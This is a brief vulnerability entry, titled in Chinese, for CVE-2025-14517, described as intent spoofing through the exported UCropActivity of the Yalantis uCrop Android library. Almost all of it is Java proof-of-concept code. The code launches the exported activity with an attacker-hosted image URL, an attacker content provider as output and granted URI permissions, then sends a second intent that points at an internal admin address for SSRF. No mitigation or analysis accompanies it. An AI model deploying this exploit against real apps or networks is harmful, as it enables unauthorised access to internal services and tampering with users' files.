CVE-2025-14517 Yalantis uCrop 组件导出导致Intent欺骗漏洞

// CVE-2025-14517 PoC - Intent Spoofing Attack // This PoC demonstrates how to exploit the improper export of UCropActivity Intent intent = new Intent(); intent.setAction("com.yalantis.ucrop.action.CROP"); intent.setClassName("com.yalantis.ucrop", "com.yalantis.ucrop.UCropActivity"); intent.setData(Uri.parse("https://attacker-controlled-url.com/malicious-image")); intent.putExtra("output", Uri.parse("content://com.attacker.provider/malicious_output")); intent.putExtra("scale_up_if_needed", true); intent.putExtra("set_status_bar_color", true); intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION); try { startActivity(intent); } catch (ActivityNotFoundException e) { // Handle case where UCrop is not installed } // For SSRF exploitation, set data URI to internal service Intent ssrfIntent = new Intent(); ssrfIntent.setAction("com.yalantis.ucrop.action.CROP"); ssrfIntent.setClassName("com.yalantis.ucrop", "com.yalantis.ucrop.UCropActivity"); ssrfIntent.setData(Uri.parse("http://192.168.1.1:8080/internal-admin")); // Internal SSRF target ssrfIntent.putExtra("output", Uri.parse("content://com.attacker.provider/result")); startActivity(ssrfIntent);